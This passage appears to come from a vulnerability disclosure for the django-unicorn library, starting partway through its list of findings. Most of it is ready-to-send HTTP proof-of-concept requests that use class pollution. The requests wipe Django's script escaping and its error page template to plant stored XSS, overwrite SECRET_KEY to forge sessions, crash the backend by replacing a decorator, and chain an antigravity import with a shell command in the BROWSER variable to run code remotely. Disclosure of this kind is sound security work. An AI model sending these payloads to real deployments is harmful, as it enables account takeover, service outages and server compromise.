Details
Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.
By polluting this variable to clear it out, you finally achieve a stored XSS attack.
PoC:
POST /unicorn/message/todo HTTP/1.1
{
"id": "3gpDSUcxzs1",
"data": {
"task": "",
"tasks": []
},
"checksum": "XXX",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
"value": [
"</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
]
}
},
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
"value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
}
},
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
"value": {}
}
}
],
"epoch": 1737318956605,
"hash": "jWGuTFzy"
}
#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code
Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.
By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
"value": "<html><script>alert('error page pollution')</script></html>"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
#4 Authentication Bypass by Overwriting Django Secret Key
Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.
Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
"value": "test"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
#5 Denial of Service by Overwriting timed Decorator Method
The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.
By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.
POST /unicorn/message/todo HTTP/1.1
{
"id": 123,
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.timed",
"value": "X"
}
}
],
"data": {
"task": "",
"tasks": []
},
"epoch": "123",
"checksum": "XXX"
}
#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER
By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.
- Pollute
location_cache._Cache__data.todoas an array where the first element is the module name imported whenever aGETrequest is sent to the server.
POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json
{
"id": "E5FBWqME",
"data": {
"task": "",
"tasks": []
},
"checksum": "XvvsDQXX",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.location_cache._Cache__data.todo",
"value": [
"antigravity",
"any"
]
},
"partials": []
},
{
"type": "callMethod",
"payload": {
"name": "add"
},
"partials": []
}
],
"epoch": 1746680343776,
"hash": "CG5pMDxc"
}
- Pollute
BROWSERos environment variable where the payload for command injection is set.
POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 348
Accept: application/json
{
"id": "E5FBWqME",
"data": {
"task": "",
"tasks": []
},
"checksum": "XvvsDQXX",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.os.environ",
"value": {
"BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
}
},
"partials": []
},
{
"type": "callMethod",
"payload": {
"name": "add"
},
"partials": []
}
],
"epoch": 1746680343776,
"hash": "CG5pMDxc"
}